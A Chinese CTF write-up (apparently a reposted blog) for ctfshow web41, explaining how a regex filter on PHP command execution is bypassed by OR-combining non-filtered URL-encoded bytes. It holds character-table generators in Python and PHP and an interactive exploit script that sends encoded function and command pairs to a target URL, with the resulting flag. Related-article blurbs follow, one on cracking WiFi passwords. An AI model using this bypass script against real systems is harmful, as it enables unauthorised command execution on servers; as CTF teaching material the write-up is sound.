ctfshow-web入门-命令执行(web41_exp与分析)

过滤不严,命令执行

preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)

过滤掉了数字、字母以及一些符号,之前接触过的无字母 rce 是取反编码再取反,采用不可见字符去绕过正则,但是这里取反符号被过滤掉了,但是注意到或符号被放出来了,下面附上这种类型题目的相关脚本,并给出一定解释。

首先是生成可用字符的脚本,可以用 python 也可以用 php 来生成:

(1)python 可用字符生成脚本

preg 是题目的正则匹配规则,在 ASCII 可见字符范围内,先排除掉正则表达式匹配的字符,将其他可用的字符进行按位或运算,再将运算得到的可见字符,以及参与或运算结果为可见字符的组合转为 16 进制拼接 % 后写入 txt 文件。

import re# 定义给定的正则表达式模式
preg = '[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-'# 初始化内容字符串
content = ''# 循环遍历ASCII码表中的所有字符对
for i in range(256):for j in range(256):# 如果字符i和j不匹配给定的正则表达式模式if not (re.match(preg,chr(i),re.I) or re.match(preg,chr(j),re.I)):# 将字符i和j进行按位或运算,得到新的字符kk = i | j# 如果字符k是ASCII可见字符(范围在32到126之间)if k >= 32 and k <= 126:# 将字符i和j转换为十六进制形式,并拼接成url编码a = '%' + hex(i)[2:].zfill(2)b = '%' + hex(j)[2:].zfill(2)# 将k对应的字符和i、j转换拼接结果写入txt文件content += (chr(k) + ' '+ a + ' ' + b + '\n')# 打开名为'rce_or.txt'的文件,以写入模式打开,如果文件不存在则创建
f = open('rce_or.txt', 'w')
# 将生成的内容写入文件
f.write(content)
# 关闭文件
f.close()

(2)php 可用字符生成脚本(这个的生成方式可以选择或和异或操作) 

<?php//或
function orRce($par1, $par2){$result = (urldecode($par1)|urldecode($par2));return $result;
}//异或
function xorRce($par1, $par2){$result = (urldecode($par1)^urldecode($par2));return $result;
}//取反
function negateRce(){fwrite(STDOUT,'[+]your function: ');$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));fwrite(STDOUT,'[+]your command: ');$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
}//mode=1代表或,2代表异或,3代表取反
//取反的话,就没必要生成字符去跑了,因为本来就是不可见字符,直接绕过正则表达式
function generate($mode, $preg='/[0-9]/i'){if ($mode!=3){$myfile = fopen("rce.txt", "w");$contents = "";for ($i=0;$i<256;$i++){for ($j=0;$j<256;$j++){if ($i<16){$hex_i = '0'.dechex($i);}else{$hex_i = dechex($i);}if ($j<16){$hex_j = '0'.dechex($j);}else{$hex_j = dechex($j);}if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){echo "";}else{$par1 = "%".$hex_i;$par2 = '%'.$hex_j;$res = '';if ($mode==1){$res = orRce($par1, $par2);}else if ($mode==2){$res = xorRce($par1, $par2);}if (ord($res)>=32&ord($res)<=126){$contents=$contents.$res." ".$par1." ".$par2."\n";}}}}fwrite($myfile,$contents);fclose($myfile);}else{negateRce();}
}
generate(1,'/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i');
//1代表模式,后面的是过滤规则

运行即可生成相关的可用字符:

我们大概来说下这个生成的结果的意思:以或运算为例

结果分为三个部分,最左边的是通过或运算得到的新字符,并且是经过了筛选的,都是可见字符;

另外两个以百分号开头的是来自于用于进行或运算生成新字符的,这两个字符是从正则匹配之外的 ASCII 字符中筛选出来的。

目前我大致理解为是将两个可用的字符或操作后生成了我们需要使用的但是被过滤掉的字符。但是到这里我还是不太理解这里传入 payload 的内容是如何绕过正则的,在后面的攻击脚本中我们输出具体的 payload 再分析。

利用前面生成的可用字符对进行远程命令执行(RCE)

exp 攻击脚本:

# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os# os.system("php rce_or.php")  # 没有将php写入环境变量需手动运行
if (len(argv) != 2):print("=" * 50)print('USER:python exp.py <url>')print("eg:  python exp.py http://ctf.show/")print("=" * 50)exit(0)
url = argv[1]def action(arg):s1 = ""s2 = ""for i in arg:f = open("rce.txt", "r")  # 这里替换成你自己生成的可用字符文件位置while True:t = f.readline()if t == "":breakif t[0] == i:# print(i)s1 += t[2:5]s2 += t[6:9]breakf.close()output = "(\"" + s1 + "\"|\"" + s2 + "\")"return (output)while True:param = action(input("\n[+] your function:")) + action(input("[+] your command:"))data = {'c': urllib.parse.unquote(param)  # 实际题目请求的参数名,这里是c}r = requests.post(url, data=data)print("\n[*] result:\n" + r.text)

在终端执行:

python 脚本名 url

读取 flag.php

拿到 flag:ctfshow{c181cfa0-4cf9-4536-8367-95f9fbba5cdd}

接下来我们输出 payload 来看看:

可以看到这里传入的内容 URL 解码后的东西都不在正则匹配中,所以不会被检测:

%13%19%13%14%05%0d %60%60%60%60%60%60
%0c%13 %60%60

正则匹配的是 URL 解码后的东西,不要觉得传入的数字会被检测到。

URL 解码后的这两部分:

("\x13\x19\x13\x14\x05\r"|"``````")("\x0c\x13"|"``")

进行或运算后得到的东西就是我们前面输入的内容:system 和 ls

也就是说它先绕过了正则匹配的检测,但是通过或运算最后又生成了正则匹配的东西。

最后再补充一个知识点:

system('ls'),('system')('ls'),(system)('ls'),('system')(ls) 都是可以执行的。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/24900.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Kali linux学习入门

Kali linux学习入门 文章目录 Kali linux学习入门Kali Linux简介Kali Linux工具篇Kali Docker安装Docker 更换国内镜像源Kali 安装 docker compose Kali Linux文档篇Kali Linux 社区篇 Kali Linux简介 Kali Linux是专门用于渗透测试linux操作系统&#xff0c;它由BackTrack发展…

软件游戏找不到d3dx9_43.dll怎么办,三分钟教你解决此问题

在现代科技发展的时代&#xff0c;电脑已经成为我们生活中不可或缺的一部分。然而&#xff0c;在使用电脑的过程中&#xff0c;我们可能会遇到一些问题&#xff0c;其中之一就是电脑缺失d3dx943.dll文件。这个问题可能会影响到我们的正常使用&#xff0c;因此了解其原因和解决方…

接口(API)开发,测试工具-apifox

前言 为什么需要接口&#xff08;API&#xff09;? 因为不同的平台或系统可能使用不同的技术栈、编程语言或数据格式。API提供了一个标准化的方式&#xff0c;使得这些不同的系统可以相互交换数据和功能调用&#xff0c;实现互操作性 在开发日常的项目交互中&#xff0c;不…

PyCharm中 Fitten Code插件的使用说明一

一. 简介 Fitten Code插件是是一款由非十大模型驱动的 AI 编程助手&#xff0c;它可以自动生成代码&#xff0c;提升开发效率&#xff0c;帮您调试 Bug&#xff0c;节省您的时间&#xff0c;另外还可以对话聊天&#xff0c;解决您编程碰到的问题。 前一篇文章学习了 PyCharm…

小白教程--- kali(po解)WIFI密码 (图文教程)

kali学得好&#xff0c;牢饭少不了&#xff01;&#xff01;&#xff01; 原理&#xff1a; 模拟WiFi的已连接设备&#xff0c;强制让其下线重连&#xff0c;获取其握手包&#xff0c;使用密码字典&#xff08;宝丽&#xff09;婆洁。 环境&#xff08;准备工作&#xff09;&a…

深度解析:ChatGPT全面测评——功能、性能与用户体验全景剖析

从去年底至今&#xff0c;由 OpenAI 发布的大规模语言模型 ChatGPT 引发了几乎所有科技领域从业者的高度关注。据瑞银集团的报告显示&#xff0c;自 2023 年 1 月起&#xff0c;仅两个月内&#xff0c;ChatGPT 的月活用户数便超过了 1 亿。 ChatGPT 被誉为“最强 AI”&#xff…

操作系统总结

进程和线程的区别 本质区别&#xff1a; 进程是资源调度以及分配的基本单位。线程是 CPU 调度的基本单位。 所属关系&#xff1a;一个线程属于一个进程&#xff0c;一个进程可以拥有多个线程。地址空间&#xff1a; 进程有独立的虚拟地址空间。线程没有独立的虚拟地址空间&…

Day53 动态规划part12

LC309买卖股票的最佳时机含冷冻期 与LC122类似&#xff0c;都是可无限次购买股票&#xff0c;只不过引入了冷冻期的概念dp[i][0] 第i天持有股票收益&#xff1b;dp[i][1] 第i天不持有股票收益;情况一&#xff1a;第i天是冷静期&#xff0c;不能以dp[i-1][1]购买股票,所以以dp[…

性能测试 —— Jmeter对数据库压力测试

Jmeter先要和数据库建立连接&#xff0c;sql语句是在Jmeter中写的&#xff0c;但是语句的执行是在数据库里执行的&#xff0c;数据库再将执行结果返回给Jmeter。 在做jmeter数据库压力测试之前&#xff0c;要先检查是否有mysql-connector-java-5.1.39-bin.jar的这个包&#xf…

flink读取hive写入http接口

目录 0、创建hive数据 1、pom.xml 2、flink代码 3、sink 4、提交任务jar 5、flink-conf.yaml 6、数据接收 flink-1.17.2jdk1.8hive-3.1.3hadoop3.3.6passwordhttp0、创建hive数据 /cluster/hive/bin/beeline !connect jdbc:hive2://ip:10000 create database demo; d…

python 多任务之多进程

多任务 优势 多个任务同时执行可以大大提高程序执行效率&#xff0c;可以充分利用CPU资源&#xff0c;提高程序的执行效率 概念 是指在同一时间内执行多个任务 多进程 概念 进程&#xff08;process&#xff09;是资源分配的最小单位&#xff0c;他是操作系统进行资源分配…

鸿蒙北向开发 IDE DevEco Studio 3.1 傻瓜式安装闭坑指南

首先下载 安装IDE 本体程序 DevEco Studio 下载链接 当前最新版本是3.1.1,下载windows版本的 下载下来后是一个压缩包, 解压解锁包后会出现一个exe安装程序 双击运行安装程序 一路 next ( 这里涉及安装文件目录,我因为C盘够大所以全部默认了,各位根据自己情况选择自己的文件…

前端工程化:基于Vue.js 3.0的设计与实践

这里写目录标题 《前端工程化&#xff1a;基于Vue.js 3.0的设计与实践》书籍引言本书概述主要内容作者简介为什么选择这本书&#xff1f;结语 《前端工程化&#xff1a;基于Vue.js 3.0的设计与实践》书籍 够买连接—>https://item.jd.com/13952512.html 引言 在前端技术日…

菜品信息分页查询——后端SpringBoot

1.分页查询的逻辑&#xff1a; 页面发送ajax请求&#xff0c;将分页查询参数(page&#xff0c;pageSize, name)提交到服务端&#xff0c;获取分页数据&#xff1b; 页面发送请求&#xff0c;请求服务端进行图片下载&#xff0c;用于页面图片展示。 开发菜品信息分页查询功能&a…

数字人的技术实现方案比较

数字人的实现方案通常包括以下几个关键技术领域&#xff0c;数字人的实现是一个跨学科的领域&#xff0c;涉及到计算机图形学、人工智能、机器学习、自然语言处理等多个技术领域&#xff0c;随着技术的不断进步&#xff0c;数字人的能力和应用范围将不断扩大。北京木奇移动技术…

数仓开发:如何计算投放效果?

背景介绍 业务介绍&#xff1a;用户是通过低价引流进来&#xff0c;然后通过复购购买高价商品&#xff0c;可以多次购买。低价商品和高价商品均可以退款&#xff0c;高价商品由于各种复杂的场景&#xff0c;可能会有多次退款。低价商品如果退款是全退&#xff0c;不存在多次退…

使用树莓派和 L298N 来 DIY 小车底盘

树莓派小车可以作为 STEM&#xff08;科学、技术、工程、数学&#xff09;教育的工具&#xff0c;在实际操作中帮助学生理解和学习电子技术、编程和机器人原理。可以培养学生的动手能力、解决问题的能力和创新思维。 随着近年 AI 技术的高速发展&#xff0c;SLAM、VSLAM 甚至带…

2024儿科学中文核心期刊汇总,附投稿信息

第10版《中文核心期刊要目总览》入编了8本儿科学期刊&#xff0c;新入编的期刊是《临床小儿外科杂志》。常笑医学整理了儿科学核心期刊的详细参数&#xff0c;供大家在论文投稿时参考&#xff0c;有需要的赶紧收藏&#xff01; 1.《中华儿科杂志》 &#xff08;详细投稿信息请…

【NI国产替代】高速数据采集模块,最大采样率为 125 Msps,支持 FPGA 定制化

• 双通道高精度数据采集 • 支持 FPGA 定制化 • 双通道高精度采样率 最大采样率为 125 Msps12 位 ADC 分辨率 最大输入电压为 0.9 V -3 dB 带宽为 30 MHz 支持 FPGA 定制化 根据需求编程实现特定功能和性能通过定制 FPGA 实现硬件加速&#xff0c;提高系统的运算速度FPGA…

OpenCV学习(4.8) 图像金字塔

1.目的 在这一章当中&#xff0c; 我们将了解图像金字塔。我们将使用图像金字塔创建一个新的水果&#xff0c;“Orapple”我们将看到这些功能&#xff1a; cv.pyrUp&#xff08;&#xff09; &#xff0c; cv.pyrDown&#xff08;&#xff09; 在通常情况下我们使用大小恒定…